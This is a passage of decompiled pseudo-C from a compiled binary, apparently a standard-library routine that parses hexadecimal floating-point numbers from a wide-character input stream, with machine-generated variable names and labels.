										_t717 =  *_t976;
										_t503 = _t717[0x20]();
									} else {
										_t1044 =  *((intOrPtr*)(_t976 + 0x50));
										_t596 =  *_t1044;
										if(_t596 <= 0) {
											goto L114;
										} else {
											 *_t1044 = _t596 - 1;
											 *_t717 =  &(_t1030[1]);
											_t503 =  *_t1030 & 0x0000ffff;
										}
									}
									if((_t503 & 0x0000ffff) == 0xffff) {
										goto L117;
									} else {
										_t502 = 0;
									}
								}
								 *(_t883 + 8) = _t502;
								goto L119;
							}
						}
					}
				}
				_a108 = _t559;
				_a112 = _t1098 + 2;
				_t1060 =  >  ? _v80 :  &_v80;
				_t423 =  *_t1060;
				_v48 = _t1081;
				if(_t423 == 0x7f || _t423 <= 0) {
					_t1082 = _t1092;
					r13d = 0;
					_t1093 =  &_v34;
					r15d = 0;
					while(1) {
						_t899 =  *_t883;
						__eflags = _t899;
						_t560 = 0;
						if(_t899 == 0) {
							goto L147;
						}
						_t823 =  *((intOrPtr*)( *((intOrPtr*)(_t899 + 0x38))));
						__eflags = _t823;
						if(_t823 == 0) {
							L145:
							_t487 =  *((intOrPtr*)( *_t899 + 0x38))();
						} else {
							__eflags =  *( *(_t899 + 0x50));
							if( *( *(_t899 + 0x50)) <= 0) {
								goto L145;
							} else {
								_t487 =  *_t823 & 0x0000ffff;
							}
						}
						_t560 = 0;
						__eflags = (_t487 & 0x0000ffff) - 0xffff;
						dil = (_t487 & 0x0000ffff) != 0xffff;
						__eflags = dil;
						L147:
						_t900 =  *_a96;
						__eflags = _t900;
						if(_t900 == 0) {
							_t424 = 0;
							__eflags = _t560;
							if(_t560 != 0) {
								goto L153;
							} else {
							}
						} else {
							_t831 =  *((intOrPtr*)( *((intOrPtr*)(_t900 + 0x38))));
							__eflags = _t831;
							if(_t831 == 0) {
								L151:
								_t483 =  *((intOrPtr*)( *_t900 + 0x38))();
							} else {
								__eflags =  *( *(_t900 + 0x50));
								if( *( *(_t900 + 0x50)) <= 0) {
									goto L151;
								} else {
									_t483 =  *_t831 & 0x0000ffff;
								}
							}
							__eflags = (_t483 & 0x0000ffff) - 0xffff;
							_t424 = 0 | __eflags != 0x00000000;
							if(__eflags != 0) {
								L153:
								__eflags =  *(_t883 + 8);
								if( *(_t883 + 8) == 0) {
									_t952 =  *_t883;
									__eflags = _t952;
									if(_t952 == 0) {
										L163:
										 *_t883 = 0;
									} else {
										_t828 =  *((intOrPtr*)( *((intOrPtr*)(_t952 + 0x38))));
										__eflags = _t828;
										if(_t828 == 0) {
											L160:
											_t424 =  *((intOrPtr*)( *_t952 + 0x38))();
										} else {
											__eflags =  *( *(_t952 + 0x50));
											if( *( *(_t952 + 0x50)) <= 0) {
												goto L160;
											} else {
												_t424 =  *_t828 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L163;
										} else {
											 *(_t883 + 0xa) = _t424;
										}
									}
									 *(_t883 + 8) = 1;
								}
								_t532 =  *(_t883 + 0xa) & 0x0000ffff;
								_t719 = _t1093;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t550 =  *(_t719 + 2) & 0x0000ffff;
									_t719 = _t719 + 2;
									__eflags = _t550;
									if(_t550 == 0) {
										break;
									}
									__eflags = _t550 - _t532;
									if(_t550 != _t532) {
										continue;
									} else {
										break;
									}
									goto L172;
								}
								_t721 = _t719 -  &_v32 >> 1;
								__eflags = _t721 - 0x15;
								if(_t721 <= 0x15) {
									__eflags = r13d - 0x30;
									if(r13d < 0x30) {
										__eflags = r13d;
										if(r13d != 0) {
											L131:
											_t948 = _a112;
											 *_t948 =  *((intOrPtr*)(_t721 + "0123456789ABCDEFabcdef-+XxPp"));
											_a112 = _t948 + 1;
											r13d = r13d + 1;
											__eflags = r13d;
										} else {
											__eflags = _t721;
											if(_t721 != 0) {
												goto L131;
											} else {
												r13d = 0;
											}
										}
									} else {
										r15d = r15d + 1;
									}
									_t950 =  *_t883;
									__eflags = _t950;
									if(_t950 == 0) {
										L139:
										 *_t883 = 0;
										_t481 = 1;
									} else {
										_t825 =  *((intOrPtr*)(_t950 + 0x38));
										_t1020 =  *_t825;
										__eflags = _t1020;
										if(_t1020 == 0) {
											L136:
											_t485 =  *((intOrPtr*)( *_t950 + 0x40))();
										} else {
											_t1054 =  *((intOrPtr*)(_t950 + 0x50));
											_t590 =  *_t1054;
											__eflags = _t590;
											if(_t590 <= 0) {
												goto L136;
											} else {
												 *_t1054 = _t590 - 1;
												 *_t825 =  &(_t1020[1]);
												_t485 =  *_t1020 & 0x0000ffff;
											}
										}
										__eflags = (_t485 & 0x0000ffff) - 0xffff;
										if((_t485 & 0x0000ffff) == 0xffff) {
											goto L139;
										} else {
											_t481 = 0;
										}
									}
									 *(_t883 + 8) = _t481;
									_a108 = 1;
									continue;
								}
							}
						}
						_a88 = 0;
						_t1094 = _t1082;
						r12d = r15d;
						__eflags = _a108 & 0x00000001;
						if((_a108 & 0x00000001) != 0) {
							goto L170;
						}
						goto L172;
					}
				} else {
					r13d = 0;
					_a32 = _t1092;
					if(_v64 == 0) {
						_t424 = 0;
						__eflags = 0;
						_a88 = _t717;
					} else {
						_t854 =  *_t1081;
						_t424 =  *((intOrPtr*)(_t854 + 0x28))();
						_a88 = _t854;
					}
					_v40 = _t1060;
					_t1086 =  &_a48;
					_a48 = 0;
					asm("movaps xmm0, [0x358dd]");
					asm("movups [ebp+0x40], xmm0");
					_a84 = 0;
					r14d = 0;
					while(1) {
						_t953 =  *_t883;
						_t567 = 0;
						_t592 = 0;
						if(_t953 != 0) {
							_t842 =  *((intOrPtr*)( *((intOrPtr*)(_t953 + 0x38))));
							if(_t842 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t953 + 0x50)))) <= 0) {
								_t495 =  *((intOrPtr*)( *_t953 + 0x38))();
							} else {
								_t495 =  *_t842 & 0x0000ffff;
							}
							_t424 = _t495 & 0x0000ffff;
							_t592 = 0;
							sil = (_t495 & 0x0000ffff) != 0xffff;
						}
						_t833 = _a96;
						_t954 =  *_t833;
						if(_t954 != 0) {
							_t833 =  *((intOrPtr*)( *((intOrPtr*)(_t954 + 0x38))));
							if(_t833 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t954 + 0x50)))) <= 0) {
								_t833 =  *_t954;
								_t494 = _t833[0x1c]();
							} else {
								_t494 =  *_t833 & 0x0000ffff;
							}
							_t424 = _t494 & 0x0000ffff;
							_t567 = 0;
							dil = (_t494 & 0x0000ffff) != 0xffff;
						}
						if(_t592 == _t567) {
							break;
						}
						if( *(_t883 + 8) == 0) {
							_t972 =  *_t883;
							if(_t972 == 0) {
								L237:
								 *_t883 = 0;
							} else {
								_t833 =  *((intOrPtr*)( *((intOrPtr*)(_t972 + 0x38))));
								if(_t833 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t972 + 0x50)))) <= 0) {
									_t833 =  *_t972;
									_t493 = _t833[0x1c]();
								} else {
									_t493 =  *_t833 & 0x0000ffff;
								}
								_t531 = _t493 & 0x0000ffff;
								if(_t531 == 0xffff) {
									goto L237;
								} else {
									 *(_t883 + 0xa) = _t493;
								}
							}
							 *(_t883 + 8) = 1;
						}
						_t424 =  *(_t883 + 0xa) & 0x0000ffff;
						_t956 =  &_v34;
						asm("o16 nop [cs:eax+eax]");
						while(1) {
							_t555 =  *(_t956 + 2) & 0x0000ffff;
							_t956 = _t956 + 2;
							if(_t555 == 0) {
								break;
							}
							if(_t555 != _t424) {
								continue;
							} else {
							}
							break;
						}
						_t958 = _t956 -  &_v32 >> 1;
						if(_t958 > 0x15) {
							__eflags = _a72 - 0xf;
							_t960 =  <=  ? _t1086 : _a48;
							__eflags =  *((char*)(_t960 + _t1092));
							if( *((char*)(_t960 + _t1092)) == 0) {
								break;
							} else {
								__eflags = _a88;
								if(_a88 == 0) {
									break;
								} else {
									__eflags = _t424 - _a88;
									if(_t424 != _a88) {
										break;
									} else {
										_t1101 = _a64;
										__eflags = _t1101 - 0xfffffffe;
										if(_t1101 >= 0xfffffffe) {
											_t489 = L00430CE0(_t530, _t555, _t602, _t833, "string too long", _t1044, _t1060);
											asm("ud2");
											_t1062 = _t833;
											_t838 = _a72;
											__eflags = _t838 - 0x10;
											if(_t838 >= 0x10) {
												_t964 = _a48;
												__eflags = _t838 + 1 - 0x1000;
												if(_t838 + 1 >= 0x1000) {
													_t964 =  *((intOrPtr*)(_t964 - 8));
												}
												_t489 = E00402090(_t489, _t964);
											}
											_t839 = _v56;
											__eflags = _t839 - 0x10;
											if(_t839 >= 0x10) {
												_t963 = _v80;
												_t839 = _t839 + 1;
												__eflags = _t839 - 0x1000;
												if(_t839 >= 0x1000) {
													_t963 =  *((intOrPtr*)(_t963 - 8));
												}
												_t489 = E00402090(_t489, _t963);
											}
											E0044CEA0(_t489, _t1062);
											asm("ud2");
											 *0x44eb4d =  *0x44eb4d + r8b;
											 *_t839 =  *_t839 + 0x64;
											_t413 = _t839 - 0x6f6f6f70;
											 *_t413 =  *(_t839 - 0x6f6f6f70) + _t555;
											__eflags =  *_t413;
											_push(_t1064);
											return 0x64;
										} else {
											_t1102 = _t1101 + 1;
											r8d = 0;
											_t492 = E00404270(_t424,  &_a40, _t1102);
											__eflags = _t492;
											if(_t492 != 0) {
												__eflags = _a72 - 0xf;
												_t969 =  <=  ? _t1086 : _a48;
												 *((char*)(( <=  ? _t1086 : _a48) + _a64)) = 0;
												__eflags = _a72 - 0xf;
												_t848 =  <=  ? _t1086 : _a48;
												__eflags = _t848;
												_a64 = _t1102;
												 *((char*)(_t848 + _t1102)) = 0;
											}
											_t1092 = _t1092 + 1;
											goto L209;
										}
									}
								}
							}
						} else {
							if(r13d < 0x30) {
								__eflags = r13d;
								if(r13d != 0) {
									L206:
									_t970 = _a112;
									 *_t970 =  *((intOrPtr*)(_t958 + "0123456789ABCDEFabcdef-+XxPp"));
									_a112 = _t970 + 1;
									r13d = r13d + 1;
									__eflags = r13d;
								} else {
									__eflags = _t958;
									if(_t958 != 0) {
										goto L206;
									} else {
										r13d = 0;
									}
								}
							} else {
								_a84 = _a84 + 1;
							}
							_t851 =  <=  ? _t1086 : _a48;
							_t531 =  *(_t851 + _t1092);
							_a108 = 1;
							if(_t531 != 0x7f) {
								_t531 = _t531 + 1;
								 *(_t851 + _t1092) = _t531;
							}
							L209:
							_t966 =  *_t883;
							if(_t966 == 0) {
								L192:
								 *_t883 = 0;
								_t424 = 1;
								 *(_t883 + 8) = 1;
							} else {
								_t844 =  *((intOrPtr*)(_t966 + 0x38));
								_t1029 =  *_t844;
								if(_t1029 == 0) {
									L213:
									_t496 =  *((intOrPtr*)( *_t966 + 0x40))();
								} else {
									_t1044 =  *((intOrPtr*)(_t966 + 0x50));
									_t593 =  *_t1044;
									if(_t593 <= 0) {
										goto L213;
									} else {
										 *_t1044 = _t593 - 1;
										_t183 =  &(_t1029[1]); // 0x3
										 *_t844 = _t183;
										_t496 =  *_t1029 & 0x0000ffff;
									}
								}
								if((_t496 & 0x0000ffff) == 0xffff) {
									goto L192;
								} else {
									_t424 = 0;
									 *(_t883 + 8) = 0;
								}
							}
							continue;
						}
						goto L531;
					}
					__eflags = _t1092;
					if(_t1092 == 0) {
						_t592 = 0;
						__eflags = 0;
						goto L257;
					} else {
						__eflags = _a72 - 0xf;
						_t837 =  <=  ? _t1086 : _a48;
						_t553 =  *((intOrPtr*)(_t837 + _t1092));
						_t424 = 0;
						__eflags = _t553;
						_t547 = _t531 & 0xffffff00 | _t553 > 0x00000000;
						__eflags = _t553;
						sil = _t553 <= 0;
						__eflags = sil;
						if(sil <= 0) {
							L257:
							_t834 = _a72;
						} else {
							_t424 = _t547;
							_t1096 = _t1092 + _t837;
							__eflags = _t1096;
							if(_t1096 == 0) {
								goto L257;
							} else {
								_t834 = _a72;
								__eflags = _t834 - 0xf;
								_t1087 =  >  ? _a48 : _t1086;
								_t1055 = _v40;
								while(1) {
									_t548 =  *_t1055 & 0x000000ff;
									__eflags = _t548 - 0x7f;
									if(_t548 == 0x7f) {
										break;
									}
									__eflags = _t1096 - 1;
									_t554 =  *(_t1087 + _t1096 - 1) & 0x000000ff;
									if(_t1096 != 1) {
										__eflags = _t548 - _t554;
										if(_t548 != _t554) {
											goto L380;
										} else {
											goto L252;
										}
									} else {
										__eflags = _t548 - _t554;
										if(_t548 >= _t554) {
											L252:
											_t1096 = _t1096 - 1;
											__eflags =  *(_t1055 + 1);
											if( *(_t1055 + 1) > 0) {
												_t1055 = _t1055 + 1;
												__eflags = _t1055;
											}
											__eflags = _t1096;
											if(_t1096 != 0) {
												continue;
											} else {
												break;
											}
										} else {
											L380:
											sil = 1;
										}
									}
									goto L258;
								}
								_t592 = 0;
							}
						}
					}
					L258:
					__eflags = _t834 - 0x10;
					_t1094 = _a32;
					r12d = _a84;
					if(_t834 >= 0x10) {
						_t955 = _a48;
						__eflags = _t834 + 1 - 0x1000;
						if(_t834 + 1 >= 0x1000) {
							_t955 =  *((intOrPtr*)(_t955 - 8));
						}
						_t424 = E00402090(_t424, _t955);
					}
					_a88 = _t592;
					__eflags = _a108 & 0x00000001;
					if((_a108 & 0x00000001) != 0) {
						L170:
						__eflags = r13d;
						if(r13d == 0) {
							_t820 = _a112;
							 *_t820 = 0x30;
							_t821 = _t820 + 1;
							__eflags = _t821;
							_a112 = _t821;
						}
						goto L172;
					} else {
						L172:
						_t902 =  *_t883;
						_t570 = 0;
						__eflags = _t902;
						_t561 = 0;
						r15d = r12d;
						if(_t902 != 0) {
							_t818 =  *((intOrPtr*)( *((intOrPtr*)(_t902 + 0x38))));
							__eflags = _t818;
							if(_t818 == 0) {
								L176:
								_t479 =  *((intOrPtr*)( *_t902 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t902 + 0x50));
								if( *( *(_t902 + 0x50)) <= 0) {
									goto L176;
								} else {
									_t479 =  *_t818 & 0x0000ffff;
								}
							}
							_t424 = _t479 & 0x0000ffff;
							_t561 = 0;
							__eflags = (_t479 & 0x0000ffff) - 0xffff;
							dil = (_t479 & 0x0000ffff) != 0xffff;
							__eflags = dil;
						}
						_t903 =  *_a96;
						__eflags = _t903;
						if(_t903 != 0) {
							_t815 =  *((intOrPtr*)( *((intOrPtr*)(_t903 + 0x38))));
							__eflags = _t815;
							if(_t815 == 0) {
								L182:
								_t478 =  *((intOrPtr*)( *_t903 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t903 + 0x50));
								if( *( *(_t903 + 0x50)) <= 0) {
									goto L182;
								} else {
									_t478 =  *_t815 & 0x0000ffff;
								}
							}
							_t424 = _t478 & 0x0000ffff;
							_t570 = 0;
							__eflags = (_t478 & 0x0000ffff) - 0xffff;
							sil = (_t478 & 0x0000ffff) != 0xffff;
							__eflags = sil;
						}
						__eflags = _t561 - _t570;
						if(_t561 == _t570) {
							L275:
							__eflags = r13d;
							if(r13d == 0) {
								goto L285;
							}
						} else {
							__eflags =  *(_t883 + 8);
							_t1052 = _v48;
							if( *(_t883 + 8) == 0) {
								_t946 =  *_t883;
								__eflags = _t946;
								if(_t946 == 0) {
									L267:
									 *_t883 = 0;
								} else {
									_t812 =  *((intOrPtr*)( *((intOrPtr*)(_t946 + 0x38))));
									__eflags = _t812;
									if(_t812 == 0) {
										L264:
										_t477 =  *((intOrPtr*)( *_t946 + 0x38))();
									} else {
										__eflags =  *( *(_t946 + 0x50));
										if( *( *(_t946 + 0x50)) <= 0) {
											goto L264;
										} else {
											_t477 =  *_t812 & 0x0000ffff;
										}
									}
									__eflags = (_t477 & 0x0000ffff) - 0xffff;
									if((_t477 & 0x0000ffff) == 0xffff) {
										goto L267;
									} else {
										 *(_t883 + 0xa) = _t477;
									}
								}
								 *(_t883 + 8) = 1;
							}
							_t807 =  *_t1052;
							_t424 =  *((intOrPtr*)(_t807 + 0x20))();
							__eflags = ( *(_t883 + 0xa) & 0x0000ffff) - _t424;
							if(( *(_t883 + 0xa) & 0x0000ffff) != _t424) {
								r12d = r15d;
								goto L275;
							} else {
								E0043DFF0(_t424);
								 *_a112 =  *((intOrPtr*)( *_t807));
								_t944 =  *_t883;
								__eflags = _t944;
								r12d = r15d;
								if(_t944 == 0) {
									L280:
									 *_t883 = 0;
									_t424 = 1;
								} else {
									_t809 =  *((intOrPtr*)(_t944 + 0x38));
									_t1016 =  *_t809;
									__eflags = _t1016;
									if(_t1016 == 0) {
										L277:
										_t475 =  *((intOrPtr*)( *_t944 + 0x40))();
										r12d = r15d;
									} else {
										_t1053 =  *((intOrPtr*)(_t944 + 0x50));
										_t588 =  *_t1053;
										__eflags = _t588;
										if(_t588 <= 0) {
											goto L277;
										} else {
											 *_t1053 = _t588 - 1;
											 *_t809 =  &(_t1016[1]);
											_t475 =  *_t1016 & 0x0000ffff;
										}
									}
									__eflags = (_t475 & 0x0000ffff) - 0xffff;
									if((_t475 & 0x0000ffff) == 0xffff) {
										goto L280;
									} else {
										_t424 = 0;
									}
								}
								_a112 = _a112 + 1;
								 *(_t883 + 8) = _t424;
								__eflags = r13d;
								if(r13d == 0) {
									while(1) {
										L285:
										_t937 =  *_t883;
										_t584 = 0;
										__eflags = _t937;
										_t566 = 0;
										if(_t937 == 0) {
											goto L291;
										}
										_t797 =  *((intOrPtr*)( *((intOrPtr*)(_t937 + 0x38))));
										__eflags = _t797;
										if(_t797 == 0) {
											L289:
											_t470 =  *((intOrPtr*)( *_t937 + 0x38))();
										} else {
											__eflags =  *( *(_t937 + 0x50));
											if( *( *(_t937 + 0x50)) <= 0) {
												goto L289;
											} else {
												_t470 =  *_t797 & 0x0000ffff;
											}
										}
										_t424 = _t470 & 0x0000ffff;
										_t566 = 0;
										__eflags = (_t470 & 0x0000ffff) - 0xffff;
										dil = (_t470 & 0x0000ffff) != 0xffff;
										__eflags = dil;
										L291:
										_t938 =  *_a96;
										__eflags = _t938;
										if(_t938 != 0) {
											_t805 =  *((intOrPtr*)( *((intOrPtr*)(_t938 + 0x38))));
											__eflags = _t805;
											if(_t805 == 0) {
												L295:
												_t469 =  *((intOrPtr*)( *_t938 + 0x38))();
											} else {
												__eflags =  *( *(_t938 + 0x50));
												if( *( *(_t938 + 0x50)) <= 0) {
													goto L295;
												} else {
													_t469 =  *_t805 & 0x0000ffff;
												}
											}
											_t424 = _t469 & 0x0000ffff;
											_t584 = 0;
											__eflags = (_t469 & 0x0000ffff) - 0xffff;
											sil = (_t469 & 0x0000ffff) != 0xffff;
											__eflags = sil;
										}
										__eflags = _t566 - _t584;
										if(_t566 != _t584) {
											__eflags =  *(_t883 + 8);
											if( *(_t883 + 8) == 0) {
												_t941 =  *_t883;
												__eflags = _t941;
												if(_t941 == 0) {
													L306:
													 *_t883 = 0;
												} else {
													_t802 =  *((intOrPtr*)( *((intOrPtr*)(_t941 + 0x38))));
													__eflags = _t802;
													if(_t802 == 0) {
														L303:
														_t468 =  *((intOrPtr*)( *_t941 + 0x38))();
													} else {
														__eflags =  *( *(_t941 + 0x50));
														if( *( *(_t941 + 0x50)) <= 0) {
															goto L303;
														} else {
															_t468 =  *_t802 & 0x0000ffff;
														}
													}
													__eflags = (_t468 & 0x0000ffff) - 0xffff;
													if((_t468 & 0x0000ffff) == 0xffff) {
														goto L306;
													} else {
														 *(_t883 + 0xa) = _t468;
													}
												}
												 *(_t883 + 8) = 1;
											}
											_t424 =  *(_t883 + 0xa) & 0x0000ffff;
											__eflags = ( *(_t883 + 0xa) & 0x0000ffff) - _v32;
											if(( *(_t883 + 0xa) & 0x0000ffff) == _v32) {
												_t939 =  *_t883;
												__eflags = _t939;
												if(_t939 == 0) {
													L316:
													 *_t883 = 0;
													_t467 = 1;
													goto L283;
												} else {
													_t799 =  *((intOrPtr*)(_t939 + 0x38));
													_t1012 =  *_t799;
													__eflags = _t1012;
													if(_t1012 == 0) {
														L313:
														_t471 =  *((intOrPtr*)( *_t939 + 0x40))();
													} else {
														_t1051 =  *((intOrPtr*)(_t939 + 0x50));
														_t585 =  *_t1051;
														__eflags = _t585;
														if(_t585 <= 0) {
															goto L313;
														} else {
															 *_t1051 = _t585 - 1;
															 *_t799 =  &(_t1012[1]);
															_t471 =  *_t1012 & 0x0000ffff;
														}
													}
													__eflags = (_t471 & 0x0000ffff) - 0xffff;
													if((_t471 & 0x0000ffff) == 0xffff) {
														goto L316;
													} else {
														_t467 = 0;
														L283:
														 *(_t883 + 8) = _t467;
														r12d = r12d - 1;
														__eflags = r12d;
														_t424 = 1;
														_a108 = 1;
														continue;
													}
												}
											}
										}
										__eflags = r12d;
										if(r12d < 0) {
											_t794 = _a112;
											 *_t794 = 0x30;
											_a112 = _t794 + 1;
											r12d = r12d + 1;
											__eflags = r12d;
										}
										r15d = r12d;
										goto L320;
									}
								}
							}
						}
						L320:
						_t1083 =  &_v34;
						while(1) {
							L333:
							_t904 =  *_t883;
							_t571 = 0;
							__eflags = _t904;
							_t562 = 0;
							if(_t904 == 0) {
								goto L339;
							}
							_t783 =  *((intOrPtr*)( *((intOrPtr*)(_t904 + 0x38))));
							__eflags = _t783;
							if(_t783 == 0) {
								L337:
								_t466 =  *((intOrPtr*)( *_t904 + 0x38))();
							} else {
								__eflags =  *( *(_t904 + 0x50));
								if( *( *(_t904 + 0x50)) <= 0) {
									goto L337;
								} else {
									_t466 =  *_t783 & 0x0000ffff;
								}
							}
							_t424 = _t466 & 0x0000ffff;
							_t562 = 0;
							__eflags = (_t466 & 0x0000ffff) - 0xffff;
							dil = (_t466 & 0x0000ffff) != 0xffff;
							__eflags = dil;
							L339:
							_t905 =  *_a96;
							__eflags = _t905;
							if(_t905 != 0) {
								_t791 =  *((intOrPtr*)( *((intOrPtr*)(_t905 + 0x38))));
								__eflags = _t791;
								if(_t791 == 0) {
									L343:
									_t465 =  *((intOrPtr*)( *_t905 + 0x38))();
								} else {
									__eflags =  *( *(_t905 + 0x50));
									if( *( *(_t905 + 0x50)) <= 0) {
										goto L343;
									} else {
										_t465 =  *_t791 & 0x0000ffff;
									}
								}
								_t424 = _t465 & 0x0000ffff;
								_t571 = 0;
								__eflags = (_t465 & 0x0000ffff) - 0xffff;
								sil = (_t465 & 0x0000ffff) != 0xffff;
								__eflags = sil;
							}
							__eflags = _t562 - _t571;
							if(_t562 != _t571) {
								__eflags =  *(_t883 + 8);
								if( *(_t883 + 8) == 0) {
									_t936 =  *_t883;
									__eflags = _t936;
									if(_t936 == 0) {
										L354:
										 *_t883 = 0;
									} else {
										_t788 =  *((intOrPtr*)( *((intOrPtr*)(_t936 + 0x38))));
										__eflags = _t788;
										if(_t788 == 0) {
											L351:
											_t424 =  *((intOrPtr*)( *_t936 + 0x38))();
										} else {
											__eflags =  *( *(_t936 + 0x50));
											if( *( *(_t936 + 0x50)) <= 0) {
												goto L351;
											} else {
												_t424 =  *_t788 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L354;
										} else {
											 *(_t883 + 0xa) = _t424;
										}
									}
									 *(_t883 + 8) = 1;
								}
								_t541 =  *(_t883 + 0xa) & 0x0000ffff;
								_t779 = _t1083;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t552 =  *(_t779 + 2) & 0x0000ffff;
									_t779 = _t779 + 2;
									__eflags = _t552;
									if(_t552 == 0) {
										break;
									}
									__eflags = _t552 - _t541;
									if(_t552 != _t541) {
										continue;
									} else {
										break;
									}
									L516:
									__eflags = r10b & 0x00000001;
									_t1074 =  ==  ? _t1094 : _t1073;
									__eflags = _a88;
									_t1075 =  !=  ? _t1094 :  ==  ? _t1094 : _t1073;
									 *((char*)( !=  ? _t1094 :  ==  ? _t1094 : _t1073)) = 0;
									 *_a232 = r9d;
									_t726 = _v56;
									__eflags = _t726 - 0x10;
									if(_t726 >= 0x10) {
										_t908 = _v80;
										__eflags = _t726 + 1 - 0x1000;
										if(_t726 + 1 >= 0x1000) {
											_t908 =  *((intOrPtr*)(_t908 - 8));
										}
										E00402090(_t424, _t908);
									}
									__eflags = 0;
									return 0;
									goto L531;
								}
								_t781 = _t779 -  &_v32 >> 1;
								__eflags = _t781 - 0x15;
								if(_t781 <= 0x15) {
									__eflags = r13d - 0x2f;
									if(r13d <= 0x2f) {
										_t934 = _a112;
										 *_t934 =  *((intOrPtr*)(_t781 + "0123456789ABCDEFabcdef-+XxPp"));
										_a112 = _t934 + 1;
										r13d = r13d + 1;
										__eflags = r13d;
									}
									_t931 =  *_t883;
									__eflags = _t931;
									if(_t931 == 0) {
										L331:
										 *_t883 = 0;
										_t461 = 1;
									} else {
										_t785 =  *((intOrPtr*)(_t931 + 0x38));
										_t1008 =  *_t785;
										__eflags = _t1008;
										if(_t1008 == 0) {
											L328:
											_t462 =  *((intOrPtr*)( *_t931 + 0x40))();
										} else {
											_t1050 =  *((intOrPtr*)(_t931 + 0x50));
											_t582 =  *_t1050;
											__eflags = _t582;
											if(_t582 <= 0) {
												goto L328;
											} else {
												 *_t1050 = _t582 - 1;
												 *_t785 =  &(_t1008[1]);
												_t462 =  *_t1008 & 0x0000ffff;
											}
										}
										__eflags = (_t462 & 0x0000ffff) - 0xffff;
										if((_t462 & 0x0000ffff) == 0xffff) {
											goto L331;
										} else {
											_t461 = 0;
										}
									}
									 *(_t883 + 8) = _t461;
									_t424 = 1;
									_a108 = 1;
									continue;
								}
							}
							r10d = _a108;
							__eflags = r10b & 0x00000001;
							if((r10b & 0x00000001) != 0) {
								_t906 =  *_t883;
								_t572 = 0;
								__eflags = _t906;
								_t563 = 0;
								_t1073 = _a112;
								r9d = r15d;
								if(_t906 != 0) {
									_t777 =  *((intOrPtr*)( *((intOrPtr*)(_t906 + 0x38))));
									__eflags = _t777;
									if(_t777 == 0) {
										L366:
										_t460 =  *((intOrPtr*)( *_t906 + 0x38))();
										_t1073 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t906 + 0x50));
										if( *( *(_t906 + 0x50)) <= 0) {
											goto L366;
										} else {
											_t460 =  *_t777 & 0x0000ffff;
										}
									}
									_t424 = _t460 & 0x0000ffff;
									_t563 = 0;
									__eflags = (_t460 & 0x0000ffff) - 0xffff;
									dil = (_t460 & 0x0000ffff) != 0xffff;
									__eflags = dil;
								}
								_t907 =  *_a96;
								__eflags = _t907;
								if(_t907 != 0) {
									_t774 =  *((intOrPtr*)( *((intOrPtr*)(_t907 + 0x38))));
									__eflags = _t774;
									if(_t774 == 0) {
										L372:
										_t459 =  *((intOrPtr*)( *_t907 + 0x38))();
										_t1073 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t907 + 0x50));
										if( *( *(_t907 + 0x50)) <= 0) {
											goto L372;
										} else {
											_t459 =  *_t774 & 0x0000ffff;
										}
									}
									_t424 = _t459 & 0x0000ffff;
									_t572 = 0;
									__eflags = (_t459 & 0x0000ffff) - 0xffff;
									sil = (_t459 & 0x0000ffff) != 0xffff;
									__eflags = sil;
								}
								__eflags = _t563 - _t572;
								if(_t563 != _t572) {
									__eflags =  *(_t883 + 8);
									if( *(_t883 + 8) == 0) {
										_t929 =  *_t883;
										__eflags = _t929;
										if(_t929 == 0) {
											L384:
											 *_t883 = 0;
										} else {
											_t771 =  *((intOrPtr*)( *((intOrPtr*)(_t929 + 0x38))));
											__eflags = _t771;
											if(_t771 == 0) {
												L381:
												_t458 =  *((intOrPtr*)( *_t929 + 0x38))();
												_t1073 = _a112;
												r9d = r15d;
												r10d = _a108;
											} else {
												__eflags =  *( *(_t929 + 0x50));
												if( *( *(_t929 + 0x50)) <= 0) {
													goto L381;
												} else {
													_t458 =  *_t771 & 0x0000ffff;
												}
											}
											__eflags = (_t458 & 0x0000ffff) - 0xffff;
											if((_t458 & 0x0000ffff) == 0xffff) {
												goto L384;
											} else {
												 *(_t883 + 0xa) = _t458;
											}
										}
										 *(_t883 + 8) = 1;
									}
									_t424 =  *(_t883 + 0xa) & 0x0000ffff;
									__eflags = _t424 - _a22;
									if(_t424 == _a22) {
										L388:
										 *_t1073 = 0x70;
										_t909 =  *_t883;
										__eflags = _t909;
										if(_t909 == 0) {
											L398:
											 *_t883 = 0;
											 *(_t883 + 8) = 1;
											goto L399;
										} else {
											_t765 =  *((intOrPtr*)(_t909 + 0x38));
											_t1003 =  *_t765;
											__eflags = _t1003;
											if(_t1003 == 0) {
												L392:
												_t454 =  *((intOrPtr*)( *_t909 + 0x40))();
												_t1073 = _a112;
											} else {
												_t1049 =  *((intOrPtr*)(_t909 + 0x50));
												_t580 =  *_t1049;
												__eflags = _t580;
												if(_t580 <= 0) {
													goto L392;
												} else {
													 *_t1049 = _t580 - 1;
													 *_t765 =  &(_t1003[1]);
													_t454 =  *_t1003 & 0x0000ffff;
												}
											}
											__eflags = (_t454 & 0x0000ffff) - 0xffff;
											if((_t454 & 0x0000ffff) == 0xffff) {
												goto L398;
											} else {
												_t927 =  *_t883;
												 *(_t883 + 8) = 0;
												__eflags = _t927;
												if(_t927 == 0) {
													L399:
													_t573 = 0;
												} else {
													_t768 =  *((intOrPtr*)( *((intOrPtr*)(_t927 + 0x38))));
													__eflags = _t768;
													if(_t768 == 0) {
														L400:
														_t456 =  *((intOrPtr*)( *_t927 + 0x38))();
														_t1073 = _a112;
													} else {
														__eflags =  *( *(_t927 + 0x50));
														if( *( *(_t927 + 0x50)) <= 0) {
															goto L400;
														} else {
															_t456 =  *_t768 & 0x0000ffff;
														}
													}
													_t573 = 0;
													__eflags = (_t456 & 0x0000ffff) - 0xffff;
													sil = (_t456 & 0x0000ffff) != 0xffff;
													__eflags = sil;
												}
											}
										}
										_t910 =  *_a96;
										__eflags = _t910;
										if(_t910 == 0) {
											_t427 = 0;
